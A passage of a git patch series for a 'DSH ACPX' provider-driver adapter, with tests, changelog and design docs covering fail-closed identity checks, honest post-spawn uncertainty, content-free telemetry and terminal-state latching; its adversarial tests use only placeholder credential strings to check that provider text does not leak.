+ +test('detail telemetry never carries prompt, question, or event content', () => { + const transport = fakeDshTransport({ + polls: [{ state: 'needs_attention', question_ref: `q-${LEAK_MARKER}-payload` }], + eventPages: [(request) => ({ + records: Array.from({ length: request.max_records }, (_, index) => ({ + seq: index + 1, kind: 'text_delta', bytes: DSH_MAX_EVENT_RECORD_BYTES, + })), + next_cursor: request.max_records, + truncated: true, + })], + }); + const driver = createFixtureDriver(MUSE_MODEL, transport); + const fixture = dshEnvelope(MUSE_MODEL); + const lane = dispatchLane(driver.driver, fixture); + for (const operation of ['reconcile', 'cancel']) { + const result = operation === 'reconcile' + ? lane.reconcile({ include: ['detailed_events', 'live_progress'], intent: 'restart_reattach' }) + : lane.cancel(); + const serialized = JSON.stringify(result); + assert.ok(!serialized.includes(LEAK_MARKER), `${operation} leaked content`); + if (result.detail_message !== undefined) { + assert.match(result.detail_message, CONTENT_FREE_DETAIL); + assert.ok(result.detail_message.length <= 512); + } + } +}); + +test('results echo the exact child identity and arrive detached and frozen', () => { + const transport = fakeDshTransport({ polls: [{ state: 'completed', stop_reason: 'end_turn' }] }); + const driver = createFixtureDriver(MUSE_MODEL, transport); + const fixture = dshEnvelope(MUSE_MODEL); + const lane = dispatchLane(driver.driver, fixture); + const seen = [lane.preflight, lane.launch, lane.reconcile({ include: ['live_progress'] }), lane.cancel()]; + for (const result of seen) { + assert.equal(result.run_id, fixture.run_id); + assert.equal(result.assignment_id, fixture.assignment_id); + assert.equal(result.lane_index, fixture.lane_index); + assert.equal(result.base_sha, fixture.base_sha); + assert.equal(result.child_envelope_digest, fixture.child_envelope_digest); + assert.ok(Object.isFrozen(result)); + } +}); + +test('transport validation rejects wrong surfaces and accepts the canonical five', () => { + assertDshAcpTransportV1(fakeDshTransport().port); + for (const [label, port] of Object.entries({ + 'missing op': (() => { const p = fakeDshTransport().port; delete p.poll; return p; })(), + 'extra op': (() => { const p = fakeDshTransport().port; p.heal = () => {}; return p; })(), + 'non-function op': (() => { const p = fakeDshTransport().port; p.poll = 42; return p; })(), + 'proxy op': (() => { const p = fakeDshTransport().port; p.poll = new Proxy(() => {}, {}); return p; })(), + 'proxy record': new Proxy(fakeDshTransport().port, {}), + 'exotic record': (() => class Weird extends Object { })(), + null: null, + array: [], + })) { + assert.throws(() => assertDshAcpTransportV1(port), + (error) => error instanceof RunContractV1Error, + `transport ${label} must be denied`); + } +}); + +test('config identity receipts are validated strictly', () => { + assert.equal(validateDshConfigIdentityV1(readyIdentity(), MUSE_MODEL).ready, true); + assert.deepEqual(validateDshConfigIdentityV1({ ready: false }, MUSE_MODEL), { + ready: false, reason: null, + }); + expectCode(() => validateDshConfigIdentityV1(readyIdentity(), 'claude-3'), 'dsh_model_denied'); + expectCode(() => validateDshConfigIdentityV1(readyIdentity({ config_path: 'relative/path.yml' }), MUSE_MODEL), + 'invalid_format'); + expectCode(() => validateDshConfigIdentityV1(readyIdentity({ config_sha256: 'SHA256' }), MUSE_MODEL), + 'invalid_format'); + expectCode(() => validateDshConfigIdentityV1(readyIdentity({ credential_source: 'keychain' }), MUSE_MODEL), + 'invalid_format'); + expectCode(() => validateDshConfigIdentityV1(readyIdentity({ ready: true, reason: 'config_unavailable' }), MUSE_MODEL), + 'invalid_format'); + expectCode(() => validateDshConfigIdentityV1({ ready: true, config_path: '/x.yml' }, MUSE_MODEL), 'missing_key'); + expectCode(() => validateDshConfigIdentityV1(readyIdentity({ credential_sha256: undefined }), MUSE_MODEL), + 'own_undefined_denied'); +}); From a089b288934b60dc53b54192667b79882a3da06d Mon Sep 17 00:00:00 2001 From: ox-alpha Date: Sat, 22 Aug 2026 20:52:36 +0000 Subject: [PATCH 031/151] docs(changelog): record the P20 DSH ACPX driver slice Document the DSH ACPX provider driver surface: hard Muse/Ox model binding, honest post-spawn uncertainty with no replay or fallback, unsupported same-session reply, bounded recorded-evidence reconcile/restart/cancel behavior, fail-closed identity and correlation drift denials, caps, content-free telemetry, and the exact injected-port contract plus non-claims for later real DSH Muse/Ox ACPX lifecycle conformance. Update future-work: P20 is in-tree as an adapter over an injected port; Grok/Cursor driver transports, registry cutover, scheduler, and durable store remain open. --- CHANGELOG.md | 23 +++++++ docs/dsh-acpx-driver.md | 136 ++++++++++++++++++++++++++++++++++++++++ docs/future-work.md | 12 +++- 3 files changed, 168 insertions(+), 3 deletions(-) create mode 100644 docs/dsh-acpx-driver.md diff --git a/CHANGELOG.md b/CHANGELOG.md index 2bfdbe9..6c76ecd 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -4,6 +4,29 @@ ### Added +- **Closed P20 DSH ACPX provider driver for Muse Spark 1.2 Contributor and Ox + Alpha.** Additive `DshApxDriverV1` hard-binds provider `dsh` plus exactly the + two allowed DSH models and implements the accepted P17 preflight/launch/ + reconcile/cancel lifecycle against an injected bounded ACPX one-shot + transport port, inheriting every envelope, capability, transition, and denial + rule from the accepted contract with no parallel schema. ACPX provides no + authoritative prompt-sent acknowledgement: after spawn intent the posture + stays `dispatch_uncertain`, post-intent exceptions and loss are never + replayed, retried, or fallback-substituted, and only provably pre-spawn + failures may report `not_sent` under a two-attempt lane budget. Same-session + reply is unsupported: unresolved attention surfaces honestly and no + replacement prompt or session is started. Live progress, detailed events, + cancellation confirmation, and restart recovery read recorded ACPX evidence + through bounded cursor-monotonic pages; exact model/config/credential + identity and task/session correlation fail closed on drift; forged receipts + fail closed while genuine loss degrades to uncertainty. Events, records, + cursors, lanes, attempts, operations, clock readings, and diagnostics are + capped, and detail telemetry is content-free by construction. The module + claims no real-transport qualification, durable P19/P21 store, supervisor + cutover, or merge/PR authority; the exact port surface for later real DSH + Muse/Ox lifecycle conformance is recorded in + `docs/dsh-acpx-driver.md`. Coverage lives in `r1-dsh-acpx-driver` and + `r1-dsh-acpx-driver-adversarial` tests. - **Closed P17 provider-driver envelope and capability contract.** Additive `ProviderDriverV1` owns the preflight/launch/reconcile/cancel lifecycle plus typed results, exact ChildEnvelopeV1 launch proof (text bytes and diff --git a/docs/dsh-acpx-driver.md b/docs/dsh-acpx-driver.md new file mode 100644 index 0000000..6f45836 --- /dev/null +++ b/docs/dsh-acpx-driver.md @@ -0,0 +1,136 @@ +# DSH ACPX provider driver (P20) + +Status: implemented against an injected bounded one-shot transport port. +Not real-transport qualified. + +The P20 `DshApxDriverV1` (`plugins/codex-co-engineer/mcp/v3/dsh-acpx-driver.mjs`) +is the DeepSeek Harness (DSH) adapter over the accepted P17 +`ProviderDriverV1` contract. It owns only the DSH-specific wiring; every +request/result shape, capability posture, transition rule, and denial code is +inherited from the accepted contract. It defines no parallel envelope or +capability schema. + +## Hard binding + +- Provider slot: `dsh` exactly. Every other provider fails closed with + `provider_slot_mismatch`. +- Models: `muse-spark-1.2-contributor` or `stealth/ox-alpha` exactly. Any other + model fails closed with `dsh_model_denied`. The informational identity map + mirrors the shipped supervisor routing (`dsh-acp.yml` + `MODEL_API_KEY` / + `model-api-key`; `dsh-acp-ox-alpha.yml` + `OPENROUTER_API_KEY` / + `openrouter-api-key`) but resolves nothing by itself. +- Workspace: `workspace_mode: "managed"` at construction (required, no hidden + default), local managed worktree semantics anchored at the immutable run base + SHA. Direct mode fails closed with `direct_mode_rejected`. + +## Honest uncertainty + +ACPX provides no authoritative prompt-sent acknowledgement, so the capability +declaration is fixed to `dispatch_certainty: uncertain_after_spawn`, +`replay_posture: never_replay`, +`same_session_reply: unsupported_unresolved_attention`, +`create_pr_posture: prohibited`, and +`merge_authority: none_codex_only_integration`. Concretely: + +- A launch that reaches the spawn intent returns `dispatch_uncertain` even when + the port accepts the spawn. There is no `dispatched` result on this surface. +- Any post-intent exception or loss stays `dispatch_uncertain` and is never + replayed, retried, or fallback-substituted onto this or another transport; + the P17 lane state lands in a possibly-sent state so duplicate launches are + denied with `replay_denied`. +- Only a provably pre-spawn failure may report `not_sent`: either the failure + happens before the spawn call was ever made (for example a lost identity + probe), or the port throws an error carrying own data properties + `phase: "prespawn"` plus a bounded `code`. Getters, exotic prototypes, + subclasses, and partial markers are treated as unprovable and stay + uncertain. At most `DSH_MAX_LAUNCH_ATTEMPTS = 2` launch attempts exist per + lane; further attempts fail with `launch_budget_exceeded`. +- Same-session reply is unsupported. Reconcile surfaces pending questions as + `unresolved_attention`; the driver never answers them, never starts a + replacement prompt, and never opens a replacement session. + +## Injected bounded one-shot transport port + +`createDshApxDriverV1({ transport, workspace_mode, now? })` requires a plain +record exposing exactly five concrete synchronous functions (Proxies, accessors, +exotic prototypes, missing or extra operations are denied): + +| Operation | Argument (frozen, bounded) | Receipt (validated, closed keys) | +| ---------------- | ---------------------------------------------------------------------- | -------------------------------- | +| `configIdentity` | `{ model }` | `{ ready, reason?, config_path?, config_sha256?, credential_source?, credential_sha256? }` | +| `spawn` | `{ model, run_id, assignment_id, lane_index, base_sha, child_envelope_digest, envelope_text, attempted_at_ms }` | `{ session_ref, observed_at_ms? }` | +| `poll` | `{ session_ref, correlation }` where correlation restates the exact child identity | `{ ...correlation, session_ref, state, stop_reason?, question_ref?, event_count, cursor, updated_at_ms }` | +| `events` | `{ session_ref, correlation, cursor, max_records }` | `{ records: [{ seq, kind, bytes }], next_cursor, truncated }` | +| `cancel` | `{ session_ref, correlation }` | `{ ...correlation, session_ref, outcome }` | + +Recorded-evidence vocabulary the port must project raw ACPX output into: + +- `state`: `absent | accepted | running | needs_attention | completed | failed | + cancelled` +- `stop_reason` (terminal states only): `end_turn | cancelled | timeout | error` +- event `kind`: `text_delta | thought_delta | tool_call | tool_call_update | + status | usage | attention` +- cancel `outcome`: `confirmed | requested | already_terminal` + +Reconcile mapping: `accepted/running → in_progress`, `needs_attention → +unresolved_attention`, terminal states → `terminal`, everything else (including +lost evidence and intent-only lanes without a session handle) → +`dispatch_uncertain`. `restart_reattach` is reconcile-only recovery from +recorded evidence; missing evidence reports `restart_evidence_absent` and never +relaunches. + +## Fail-closed rules + +- Exact model/config/credential identity is probed again immediately before + spawn and on every reconcile/cancel. Drift of `config_path`, + `config_sha256`, `credential_source`, or `credential_sha256` fails closed + with `dsh_identity_drift` (or `dsh_identity_unavailable`); at launch this + happens before the spawn intent begins, so no half-dispatched lane can exist. +- Task/session correlation is checked per field on every poll/event/cancel + receipt (`run_id`, `assignment_id`, `lane_index`, `base_sha`, + `child_envelope_digest`, `model`, `session_ref`). Mismatch fails closed with + `dsh_correlation_mismatch`. +- Forged or malformed receipts (unknown states/kinds/outcomes, out-of-bound + integers, accessor properties, Proxies, sparse arrays, extra keys, own + undefined) fail closed with typed codes and leave the lane untouched. + Genuine probe loss degrades honestly instead: preflight blocks, reconcile + reports uncertainty, cancellation stays `dsh_cancel_unresolved` and may be + requested again because a cancellation is a control signal, not a prompt. + +## Bounds and telemetry hygiene + +`DSH_MAX_LANES=64`, `DSH_MAX_LANE_OPERATIONS=256`, +`DSH_MAX_LAUNCH_ATTEMPTS=2`, `DSH_MAX_RECORDED_EVENTS=1024`, +`DSH_MAX_EVENT_PAGE_RECORDS=64`, `DSH_MAX_EVENT_RECORD_BYTES=4096`, +`DSH_MAX_CURSOR=1e9`, session refs ≤128 bytes, clock readings within +`[0, 2100-01-01T00:00:00Z)` and monotonic per lane. Detail messages are +composed only from closed vocabulary words and validated integers (counts, +cursors, booleans, enumerated states); provider prompt, reply, question, or +event text can never reach a result, a detail pair, or an error message. + +## Coverage and non-claims + +Coverage lives in `test/r1-dsh-acpx-driver.test.mjs` (conformance, including +the unmodified P17 neutral contract suite) and +`test/r1-dsh-acpx-driver-adversarial.test.mjs` (hostile inputs, forged +receipts, bounds abuse, replay/substitution hostilities). + +This slice does NOT qualify a real transport. The module claims no durable +P19/P21 store, scheduler, registry cutover, or supervisor cutover, and holds +no merge/PR authority. + +## Surface for later real DSH Muse/Ox ACPX lifecycle conformance + +A real-transport qualification harness must supply a production port that: + +1. resolves the exact config file and credential per model (env first, then the + owner-only file), returning their sha256 digests and never the secret bytes; +2. spawns `acpx flow run ` one-shot with the exact envelope text as + the bounded input payload, returning a stable bounded `session_ref`; +3. projects recorded ACPX flow output (session records, NDJSON traces, exit + status) into the closed evidence/page/cancel receipts above, including + needs-attention detection with a bounded question ref; +4. performs tree-scoped cancellation and reports `confirmed` only after the + process group is observed stopped; +5. keeps every receipt free of provider-authored content beyond the closed + vocabulary, since the driver will deny anything else. diff --git a/docs/future-work.md b/docs/future-work.md index 1f20fe7..4327c03 100644 --- a/docs/future-work.md +++ b/docs/future-work.md @@ -18,9 +18,15 @@ fallback or replay, and Codex-only final acceptance. The P17 `ProviderDriverV1` envelope/capability contract is in-tree as a pure contract and provider-agnostic conformance harness. It validates preflight/launch/reconcile/cancel requests and results against the -accepted P05 13-field capability bridge. It does not implement Grok, -Cursor Local, DSH, or Cursor Cloud transports, registry cutover, -scheduler, or durable store; those remain P18/P20/P19/P21 and later +accepted P05 13-field capability bridge. The P20 DSH adapter +(`DshApxDriverV1`) now drives that contract over an injected bounded +ACPX one-shot transport port for Muse Spark 1.2 Contributor and Ox +Alpha, with honest post-spawn uncertainty, unsupported same-session +reply, bounded recorded-evidence reconcile/restart/cancel behavior, and +fail-closed identity/correlation drift denials; it qualifies no real +transport (see `docs/dsh-acpx-driver.md`). No implementation exists for +Grok, Cursor Local, or Cursor Cloud driver transports, registry cutover, +scheduler, or durable store; those remain P18/P19/P21 and later run-runtime work. This worktree does not implement the run runtime, candidate composition, or `AttentionBatchV1`. Gate A remains the functional release authority; Gate B context-efficiency and Gate C From c9770850899ca3f426752f0eec6b7f688abee9b7 Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Sat, 22 Aug 2026 23:31:07 +0000 Subject: [PATCH 032/151] fix(provider): make DSH terminal evidence absorbing --- .../mcp/v3/dsh-acpx-driver.mjs | 136 ++++++++++-- .../r1-dsh-acpx-driver-adversarial.test.mjs | 197 ++++++++++++++++++ .../test/r1-dsh-acpx-driver.test.mjs | 62 ++++++ 3 files changed, 378 insertions(+), 17 deletions(-) diff --git a/plugins/codex-co-engineer/mcp/v3/dsh-acpx-driver.mjs b/plugins/codex-co-engineer/mcp/v3/dsh-acpx-driver.mjs index dbd775d..d92be67 100644 --- a/plugins/codex-co-engineer/mcp/v3/dsh-acpx-driver.mjs +++ b/plugins/codex-co-engineer/mcp/v3/dsh-acpx-driver.mjs @@ -131,6 +131,19 @@ export const DSH_EVIDENCE_STATES = capturedFreeze([ export const DSH_TERMINAL_EVIDENCE_STATES = capturedFreeze([ 'completed', 'failed', 'cancelled', ]); +// Hostile non-terminal poll states after a terminal latch. Reconcile must +// never map these back to in_progress, dispatch_uncertain, or +// unresolved_attention once completed/failed/cancelled or +// cancel_confirmed/already_terminal has been observed on the lane. +// Later cancel after any of those latches is a local already_terminal +// result and must not probe the injected port. cancel_requested stays +// nonterminal so a later cancel may still be delivered. +const DSH_POST_TERMINAL_REGRESSION_STATES = capturedFreeze([ + 'accepted', 'running', 'needs_attention', 'absent', +]); +const DSH_TERMINAL_CANCEL_OUTCOMES = capturedFreeze([ + 'confirmed', 'already_terminal', +]); export const DSH_STOP_REASONS = capturedFreeze(['end_turn', 'cancelled', 'timeout', 'error']); export const DSH_EVENT_KINDS = capturedFreeze([ 'text_delta', 'thought_delta', 'tool_call', 'tool_call_update', @@ -726,6 +739,50 @@ export function createDshApxDriverV1(options) { } } + function hasTerminalLatch(lane) { + return lane.terminal_latch !== null && lane.terminal_latch !== undefined; + } + + function evidenceLatch(evidence) { + return freezeData({ + kind: 'evidence', + state: evidence.state, + stop_reason: evidence.stop_reason, + }); + } + + function cancelLatch(outcome) { + return freezeData({ kind: 'cancel', outcome }); + } + + function denyTerminalRegression(operation) { + fail('terminal_regression_denied', `driver.${operation}.request`, + 'Recorded ACPX evidence moved backwards from a latched terminal disposition; ' + + 'terminal regressions fail closed.'); + } + + function latchedTerminalResult(operation, request, envelope, lane, includeCount) { + const terminal = baseResult(operation, request, envelope, 'terminal'); + if (!includeCount) return terminal; + const latch = lane.terminal_latch; + const extra = latch.kind === 'evidence' + ? [ + `state=${latch.state}`, + ...(latch.stop_reason ? [`stop_reason=${latch.stop_reason}`] : []), + ] + : [`outcome=${latch.outcome}`]; + return withDetail(terminal, 'terminal_evidence', [...extra, ...progressFragments(lane)]); + } + + function localAlreadyTerminalCancel(request, envelope, lane, timestamp) { + lanes.set(laneKey(envelope), advance(lane, {}, timestamp)); + return withDetail( + baseResult('cancel', request, envelope, 'already_terminal'), + 'already_terminal', + ['outcome=already_terminal'], + ); + } + function readIdentityOrBlocked(request, envelope, model) { try { return { identity: currentIdentity(model, 'preflight'), error: null }; @@ -779,6 +836,7 @@ export function createDshApxDriverV1(options) { observed_at_ms: Math.max(prior?.observed_at_ms ?? timestamp, timestamp), operation_count: (prior?.operation_count ?? 0) + 1, run_id: envelope.run_id, + terminal_latch: prior?.terminal_latch ?? null, })); return baseResult(operation, request, envelope, 'ready'); } @@ -851,7 +909,7 @@ export function createDshApxDriverV1(options) { }, timestamp)); if (provablyPrespawn) { return withDetail(baseResult(operation, request, envelope, 'not_sent'), - 'transport_prespawn_denied', [`code=${optOwn(error, 'code')}`]); + 'transport_prespawn_denied', ['probe=spawn', `model=${model}`]); } // Exception or loss after spawn intent stays dispatch_uncertain forever: // never replayed, retried, or fallback-substituted. @@ -896,12 +954,23 @@ export function createDshApxDriverV1(options) { beginOperation(lane, operation, timestamp); requireDispatch(lane, operation); const includeCount = Array.isArray(request.include) ? request.include.length : 0; + + function commit(updatedLane, patch) { + const next = advance(updatedLane, patch, timestamp); + lanes.set(laneKey(envelope), next); + return next; + } + if (lane.dispatch.session_ref === null) { // An intent-only lane carries no session handle: nothing can be // observed or correlated, so honesty stays at uncertainty and no // doomed transport call is made. The child is never replayed to - // recover a handle. - lanes.set(laneKey(envelope), advance(lane, {}, timestamp)); + // recover a handle. A latched terminal disposition is retained + // instead of degrading back to uncertainty. + if (hasTerminalLatch(lane)) { + return latchedTerminalResult(operation, request, envelope, commit(lane, {}), includeCount); + } + commit(lane, {}); const uncertain = baseResult(operation, request, envelope, 'dispatch_uncertain'); return includeCount ? withDetail(uncertain, 'evidence_absent', progressFragments(lane, ['evidence=unavailable'])) @@ -910,7 +979,9 @@ export function createDshApxDriverV1(options) { // Exact identity must hold on every observation too: credential or config // DRIFT fails the observation closed with a typed error below, while a - // lost identity/evidence probe degrades honestly to uncertainty. + // lost identity/evidence probe degrades honestly to uncertainty unless a + // terminal latch already exists. After terminal evidence, uncertainty is + // denied; the latched terminal disposition is retained instead. let evidence; try { const identity = currentIdentity(model, operation); @@ -921,19 +992,47 @@ export function createDshApxDriverV1(options) { })), lane); } catch (error) { if (isTypedContractError(error)) throw error; + if (hasTerminalLatch(lane)) { + return latchedTerminalResult(operation, request, envelope, commit(lane, {}), includeCount); + } // Loss or exception during observation degrades honestly to uncertainty. // It never invents a terminal state and never replays the child. - lanes.set(laneKey(envelope), advance(lane, {}, timestamp)); + commit(lane, {}); const uncertain = baseResult(operation, request, envelope, 'dispatch_uncertain'); return includeCount ? withDetail(uncertain, 'evidence_absent', progressFragments(lane, ['evidence=unavailable'])) : uncertain; } + // Hostile running/accepted/absent/needs_attention after a terminal latch + // fails closed with one typed regression. The lane is left untouched so + // no second spawn, provider/model substitution, or attention answer can + // follow from the denied observation. + if (hasTerminalLatch(lane) && capturedIncludes(DSH_POST_TERMINAL_REGRESSION_STATES, evidence.state)) { + denyTerminalRegression(operation); + } + const updated = applyEventPage(lane, includeCount, operation); - lanes.set(laneKey(envelope), advance(updated, {}, timestamp)); const progress = progressFragments(updated); + if (capturedIncludes(DSH_TERMINAL_EVIDENCE_STATES, evidence.state)) { + const latch = hasTerminalLatch(lane) ? lane.terminal_latch : evidenceLatch(evidence); + commit(updated, { terminal_latch: latch }); + const terminal = baseResult(operation, request, envelope, 'terminal'); + return includeCount + ? withDetail(terminal, 'terminal_evidence', [ + `state=${evidence.state}`, + ...(evidence.stop_reason ? [`stop_reason=${evidence.stop_reason}`] : []), + ...progress, + ]) + : terminal; + } + + if (hasTerminalLatch(lane)) { + return latchedTerminalResult(operation, request, envelope, commit(updated, {}), includeCount); + } + + commit(updated, {}); if (evidence.state === 'absent') { const code = request.intent === 'restart_reattach' ? 'restart_evidence_absent' @@ -949,16 +1048,6 @@ export function createDshApxDriverV1(options) { ? withDetail(attention, 'unresolved_attention', [...progress, 'same_session_reply=unsupported']) : attention; } - if (capturedIncludes(DSH_TERMINAL_EVIDENCE_STATES, evidence.state)) { - const terminal = baseResult(operation, request, envelope, 'terminal'); - return includeCount - ? withDetail(terminal, 'terminal_evidence', [ - `state=${evidence.state}`, - ...(evidence.stop_reason ? [`stop_reason=${evidence.stop_reason}`] : []), - ...progress, - ]) - : terminal; - } const running = baseResult(operation, request, envelope, 'in_progress'); return includeCount ? withDetail(running, 'live_progress', progress) : running; } @@ -973,6 +1062,15 @@ export function createDshApxDriverV1(options) { const timestamp = nowMs(operation); beginOperation(lane, operation, timestamp); requireDispatch(lane, operation); + // After completed/failed/cancelled evidence or a confirmed/ + // already_terminal cancel, every later cancel is a local + // already_terminal result. The injected port is not probed again: + // no configIdentity, cancel, poll, events, spawn, reply, or reattach. + // cancel_requested is not a terminal latch, so a later cancel may + // still be delivered as a control signal. + if (hasTerminalLatch(lane)) { + return localAlreadyTerminalCancel(request, envelope, lane, timestamp); + } if (lane.dispatch.session_ref === null) { fail('dsh_cancel_unresolved', `driver.${operation}.request`, 'This DSH lane holds only an unconfirmed spawn intent and no session handle; ' @@ -998,7 +1096,11 @@ export function createDshApxDriverV1(options) { 'The DSH cancellation request could not be resolved; the lane stays untouched ' + 'and cancellation may be requested again without any replay.'); } - lanes.set(laneKey(envelope), advance(lane, {}, timestamp)); + const latchWorthy = capturedIncludes(DSH_TERMINAL_CANCEL_OUTCOMES, receipt.outcome); + const terminalLatch = latchWorthy + ? (hasTerminalLatch(lane) ? lane.terminal_latch : cancelLatch(receipt.outcome)) + : lane.terminal_latch ?? null; + lanes.set(laneKey(envelope), advance(lane, { terminal_latch: terminalLatch }, timestamp)); const disposition = receipt.outcome === 'confirmed' ? 'cancel_confirmed' : receipt.outcome === 'requested' ? 'cancel_requested' : 'already_terminal'; diff --git a/plugins/codex-co-engineer/test/r1-dsh-acpx-driver-adversarial.test.mjs b/plugins/codex-co-engineer/test/r1-dsh-acpx-driver-adversarial.test.mjs index a90946a..47b42ec 100644 --- a/plugins/codex-co-engineer/test/r1-dsh-acpx-driver-adversarial.test.mjs +++ b/plugins/codex-co-engineer/test/r1-dsh-acpx-driver-adversarial.test.mjs @@ -447,6 +447,203 @@ test('the ox-alpha lane rejects muse-model evidence and vice versa', () => { } }); +test('latched terminal evidence denies the exact hostile non-terminal regressions', () => { + const sequences = [ + { + label: 'completed->running', + terminal: { kind: 'reconcile', receipt: { state: 'completed', stop_reason: 'end_turn' } }, + hostile: { state: 'running' }, + }, + { + label: 'completed->absent', + terminal: { kind: 'reconcile', receipt: { state: 'completed', stop_reason: 'end_turn' } }, + hostile: { state: 'absent' }, + }, + { + label: 'failed->running', + terminal: { kind: 'reconcile', receipt: { state: 'failed', stop_reason: 'error' } }, + hostile: { state: 'running' }, + }, + { + label: 'cancelled->accepted', + terminal: { kind: 'reconcile', receipt: { state: 'cancelled', stop_reason: 'cancelled' } }, + hostile: { state: 'accepted' }, + }, + { + label: 'completed->needs_attention', + terminal: { kind: 'reconcile', receipt: { state: 'completed', stop_reason: 'end_turn' } }, + hostile: { state: 'needs_attention', question_ref: `q-${LEAK_MARKER}` }, + }, + { + label: 'cancel_confirmed->running', + terminal: { kind: 'cancel', receipt: { outcome: 'confirmed' } }, + hostile: { state: 'running' }, + }, + { + label: 'already_terminal->running', + terminal: { kind: 'cancel', receipt: { outcome: 'already_terminal' } }, + hostile: { state: 'running' }, + }, + ]; + for (const sequence of sequences) { + const transport = sequence.terminal.kind === 'reconcile' + ? fakeDshTransport({ polls: [sequence.terminal.receipt, sequence.hostile] }) + : fakeDshTransport({ + cancelReceipts: [sequence.terminal.receipt], + polls: [sequence.hostile], + }); + const fixture = dshEnvelope(MUSE_MODEL); + const driver = createFixtureDriver(MUSE_MODEL, transport); + const lane = dispatchLane(driver.driver, fixture); + if (sequence.terminal.kind === 'reconcile') { + const first = lane.reconcile(); + assert.equal(first.disposition, 'terminal', sequence.label); + assert.notEqual(first.disposition, 'in_progress', sequence.label); + assert.notEqual(first.disposition, 'dispatch_uncertain', sequence.label); + assert.notEqual(first.disposition, 'unresolved_attention', sequence.label); + } else { + const first = lane.cancel(); + const expected = sequence.terminal.receipt.outcome === 'confirmed' + ? 'cancel_confirmed' : 'already_terminal'; + assert.equal(first.disposition, expected, sequence.label); + } + const eventsBefore = transport.counts().events; + expectCode(() => lane.reconcile({ include: ['live_progress'] }), + 'terminal_regression_denied', sequence.label); + expectCode(() => lane.launchAgain(), 'replay_denied', sequence.label); + const oxManifest = JSON.parse(JSON.stringify(dshManifest(OX_MODEL))); + oxManifest.assignments[0].assignment_id = fixture.assignment_id; + const oxEnvelope = compileChildEnvelopeV1(oxManifest, fixture.assignment_id); + expectCode(() => driver.driver.preflight(requestFor({ + ...fixture, + envelope_text: oxEnvelope.envelope_text, + child_envelope_digest: childEnvelopeDigestV1(oxEnvelope).digest, + }, 'preflight')), 'stale_identity_denied', sequence.label); + expectCode(() => lane.reconcile({ + include: ['live_progress'], + intent: 'restart_reattach', + reply: { session_id: 's', response: 'answered' }, + }), undefined, `${sequence.label} replacement prompt/answer is denied`); + assert.equal(transport.counts().spawn, 1, `${sequence.label} must not spawn again`); + assert.equal(transport.counts().events, eventsBefore, + `${sequence.label} must not read events or answer attention after the regression`); + } +}); + +test('post-terminal cancel is local already_terminal even if the port would throw', () => { + const sequences = [ + { + label: 'completed then cancel', + kind: 'reconcile', + poll: { state: 'completed', stop_reason: 'end_turn' }, + }, + { + label: 'failed then cancel', + kind: 'reconcile', + poll: { state: 'failed', stop_reason: 'error' }, + }, + { + label: 'cancelled then cancel', + kind: 'reconcile', + poll: { state: 'cancelled', stop_reason: 'cancelled' }, + }, + { + label: 'cancel_confirmed then cancel', + kind: 'cancel', + cancelOutcome: 'confirmed', + }, + { + label: 'provider already_terminal then cancel', + kind: 'cancel', + cancelOutcome: 'already_terminal', + }, + ]; + for (const sequence of sequences) { + let sealed = false; + const denySealed = (channel) => { + if (sealed) throw new Error(`${sequence.label} must not call ${channel}`); + }; + const transport = fakeDshTransport({ + identity: () => { + denySealed('configIdentity'); + return readyIdentity(); + }, + spawnReceipts: [() => { + denySealed('spawn'); + return { session_ref: 'sess-ok-0001' }; + }], + polls: [(request) => { + denySealed('poll'); + return { + session_ref: request.session_ref, ...request.correlation, + event_count: 1, cursor: 1, updated_at_ms: 10, + ...sequence.poll, + }; + }], + eventPages: [(request) => { + denySealed('events'); + return { records: [], next_cursor: request.cursor, truncated: false }; + }], + cancelReceipts: [(request) => { + denySealed('cancel'); + return { + session_ref: request.session_ref, ...request.correlation, + outcome: sequence.cancelOutcome ?? 'confirmed', + }; + }], + }); + const fixture = dshEnvelope(MUSE_MODEL); + const driver = createFixtureDriver(MUSE_MODEL, transport); + const lane = dispatchLane(driver.driver, fixture); + if (sequence.kind === 'reconcile') { + assert.equal(lane.reconcile().disposition, 'terminal', sequence.label); + } else { + const expected = sequence.cancelOutcome === 'confirmed' + ? 'cancel_confirmed' : 'already_terminal'; + assert.equal(lane.cancel().disposition, expected, sequence.label); + } + const before = transport.counts(); + sealed = true; + const later = lane.cancel(); + assert.equal(later.disposition, 'already_terminal', sequence.label); + assert.equal(later.detail_code, 'already_terminal', sequence.label); + assert.deepEqual(transport.counts(), before, + `${sequence.label} must make zero configIdentity/cancel/poll/events/spawn calls`); + expectCode(() => lane.launchAgain(), 'replay_denied', sequence.label); + } +}); + +test('cancel_requested is not a terminal latch and a later cancel still hits the port', () => { + let sealed = false; + const outcomes = ['requested', 'confirmed']; + const transport = fakeDshTransport({ + identity: () => { + if (sealed) throw new Error('cancel_requested must not skip identity'); + return readyIdentity(); + }, + cancelReceipts: [(request, callIndex) => { + if (sealed) throw new Error('cancel_requested must not skip cancel'); + return { + session_ref: request.session_ref, ...request.correlation, + outcome: outcomes[Math.min(callIndex - 1, outcomes.length - 1)], + }; + }], + }); + const driver = createFixtureDriver(MUSE_MODEL, transport); + const lane = dispatchLane(driver.driver, dshEnvelope(MUSE_MODEL)); + assert.equal(lane.cancel().disposition, 'cancel_requested'); + const afterRequested = transport.counts(); + const second = lane.cancel(); + assert.equal(second.disposition, 'cancel_confirmed'); + assert.equal(transport.counts().cancel, afterRequested.cancel + 1); + assert.equal(transport.counts().configIdentity, afterRequested.configIdentity + 1); + sealed = true; + const beforeLocal = transport.counts(); + const third = lane.cancel(); + assert.equal(third.disposition, 'already_terminal'); + assert.deepEqual(transport.counts(), beforeLocal); +}); + test('results never carry provider-authored text even from deeply hostile transports', () => { const fixture = dshEnvelope(MUSE_MODEL); const hostileText = `${LEAK_MARKER} token sk-abc123defghijk password=hunter2 AKIAIOSFODNN7EXAMPLE`; diff --git a/plugins/codex-co-engineer/test/r1-dsh-acpx-driver.test.mjs b/plugins/codex-co-engineer/test/r1-dsh-acpx-driver.test.mjs index c1659d0..2062fd1 100644 --- a/plugins/codex-co-engineer/test/r1-dsh-acpx-driver.test.mjs +++ b/plugins/codex-co-engineer/test/r1-dsh-acpx-driver.test.mjs @@ -336,6 +336,64 @@ test('cancellation maps confirmed/requested/already_terminal outcomes with bound } }); +test('reconcile-terminal then cancel is local already_terminal with zero transport', () => { + const terminals = [ + { state: 'completed', stop_reason: 'end_turn' }, + { state: 'failed', stop_reason: 'error' }, + { state: 'cancelled', stop_reason: 'cancelled' }, + ]; + for (const receipt of terminals) { + const transport = 